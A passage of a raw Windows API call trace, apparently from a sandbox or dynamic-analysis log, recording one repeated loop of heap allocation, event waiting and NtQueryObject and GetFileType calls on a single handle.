(HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.644] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.644] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.644] ResetEvent (hEvent=0x110) returned 1 [0072.644] SetEvent (hEvent=0x114) returned 1 [0072.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.644] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.644] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.644] ResetEvent (hEvent=0x110) returned 1 [0072.644] SetEvent (hEvent=0x114) returned 1 [0072.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.644] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.645] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.645] ResetEvent (hEvent=0x110) returned 1 [0072.645] SetEvent (hEvent=0x114) returned 1 [0072.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.645] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.645] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.645] ResetEvent (hEvent=0x110) returned 1 [0072.645] SetEvent (hEvent=0x114) returned 1 [0072.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.645] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.645] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.645] ResetEvent (hEvent=0x110) returned 1 [0072.645] SetEvent (hEvent=0x114) returned 1 [0072.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.646] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.646] ResetEvent (hEvent=0x110) returned 1 [0072.646] SetEvent (hEvent=0x114) returned 1 [0072.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.646] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.646] ResetEvent (hEvent=0x110) returned 1 [0072.646] SetEvent (hEvent=0x114) returned 1 [0072.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.646] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.646] ResetEvent (hEvent=0x110) returned 1 [0072.646] SetEvent (hEvent=0x114) returned 1 [0072.647] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.647] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.647] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.647] ResetEvent (hEvent=0x110) returned 1 [0072.647] SetEvent (hEvent=0x114) returned 1 [0072.647] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.647] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.647] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.647] ResetEvent (hEvent=0x110) returned 1 [0072.647] SetEvent (hEvent=0x114) returned 1 [0072.647] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.648] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.648] ResetEvent (hEvent=0x110) returned 1 [0072.648] SetEvent (hEvent=0x114) returned 1 [0072.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.648] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.648] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.648] ResetEvent (hEvent=0x110) returned 1 [0072.648] SetEvent (hEvent=0x114) returned 1 [0072.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.648] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.648] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.648] ResetEvent (hEvent=0x110) returned 1 [0072.648] SetEvent (hEvent=0x114) returned 1 [0072.649] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.649] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.649] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.649] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.649] ResetEvent (hEvent=0x110) returned 1 [0072.649] SetEvent (hEvent=0x114) returned 1 [0072.649] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.649] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.649] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.649] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.649] ResetEvent (hEvent=0x110) returned 1 [0072.649] SetEvent (hEvent=0x114) returned 1 [0072.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.650] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.650] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.650] ResetEvent (hEvent=0x110) returned 1 [0072.650] SetEvent (hEvent=0x114) returned 1 [0072.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.650] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.650] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.650] ResetEvent (hEvent=0x110) returned 1 [0072.650] SetEvent (hEvent=0x114) returned 1 [0072.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.650] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.650] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.651] ResetEvent (hEvent=0x110) returned 1 [0072.651] SetEvent (hEvent=0x114) returned 1 [0072.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.651] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.651] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.651] ResetEvent (hEvent=0x110) returned 1 [0072.651] SetEvent (hEvent=0x114) returned 1 [0072.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.651] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.651] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.651] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.651] ResetEvent (hEvent=0x110) returned 1 [0072.651] SetEvent (hEvent=0x114) returned 1 [0072.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.651] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.652] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.652] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.652] ResetEvent (hEvent=0x110) returned 1 [0072.652] SetEvent (hEvent=0x114) returned 1 [0072.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.692] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.693] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.693] ResetEvent (hEvent=0x110) returned 1 [0072.693] SetEvent (hEvent=0x114) returned 1 [0072.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.693] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.693] ResetEvent (hEvent=0x110) returned 1 [0072.693] SetEvent (hEvent=0x114) returned 1 [0072.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.693] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.693] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.694] ResetEvent (hEvent=0x110) returned 1 [0072.694] SetEvent (hEvent=0x114) returned 1 [0072.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.694] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.694] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.694] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.694] ResetEvent (hEvent=0x110) returned 1 [0072.694] SetEvent (hEvent=0x114) returned 1 [0072.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.694] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.694] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.694] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.694] ResetEvent (hEvent=0x110) returned 1 [0072.694] SetEvent (hEvent=0x114) returned 1 [0072.694] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.694] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.695] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.695] ResetEvent (hEvent=0x110) returned 1 [0072.695] SetEvent (hEvent=0x114) returned 1 [0072.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.695] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.695] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.695] ResetEvent (hEvent=0x110) returned 1 [0072.695] SetEvent (hEvent=0x114) returned 1 [0072.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.695] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.695] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.695] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.695] ResetEvent (hEvent=0x110) returned 1 [0072.695] SetEvent (hEvent=0x114) returned 1 [0072.695] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.696] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.696] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.696] ResetEvent (hEvent=0x110) returned 1 [0072.696] SetEvent (hEvent=0x114) returned 1 [0072.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.696] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.696] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.696] ResetEvent (hEvent=0x110) returned 1 [0072.696] SetEvent (hEvent=0x114) returned 1 [0072.696] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.696] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.696] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.696] ResetEvent (hEvent=0x110) returned 1 [0072.696] SetEvent (hEvent=0x114) returned 1 [0072.697] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.697] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.697] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.697] ResetEvent (hEvent=0x110) returned 1 [0072.697] SetEvent (hEvent=0x114) returned 1 [0072.697] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.697] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.697] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.697] GetFileType (hFile=0x190) returned 0x3 [0072.697] ResetEvent (hEvent=0x110) returned 1 [0072.697] SetEvent (hEvent=0x114) returned 1 [0072.697] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.698] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.698] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.698] GetFileType (hFile=0x190) returned 0x3 [0072.698] ResetEvent (hEvent=0x110) returned 1 [0072.698] SetEvent (hEvent=0x114) returned 1 [0072.698] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.698] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.698] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.698] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.698] GetFileType (hFile=0x190) returned 0x3 [0072.698] ResetEvent (hEvent=0x110) returned 1 [0072.698] SetEvent (hEvent=0x114) returned 1 [0072.698] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.698] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.698] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.698] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.698] ResetEvent (hEvent=0x110) returned 1 [0072.698] SetEvent (hEvent=0x114) returned 1 [0072.699] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.699] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.699] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.699] ResetEvent (hEvent=0x110) returned 1 [0072.699] SetEvent (hEvent=0x114) returned 1 [0072.699] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.699] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.699] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.699] GetFileType (hFile=0x190) returned 0x3 [0072.699] ResetEvent (hEvent=0x110) returned 1 [0072.699] SetEvent (hEvent=0x114) returned 1 [0072.699] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.699] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.700] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.700] GetFileType (hFile=0x190) returned 0x3 [0072.700] ResetEvent (hEvent=0x110) returned 1 [0072.700] SetEvent (hEvent=0x114) returned 1 [0072.700] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.700] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.700] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.700] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.700] GetFileType (hFile=0x190) returned 0x3 [0072.700] ResetEvent (hEvent=0x110) 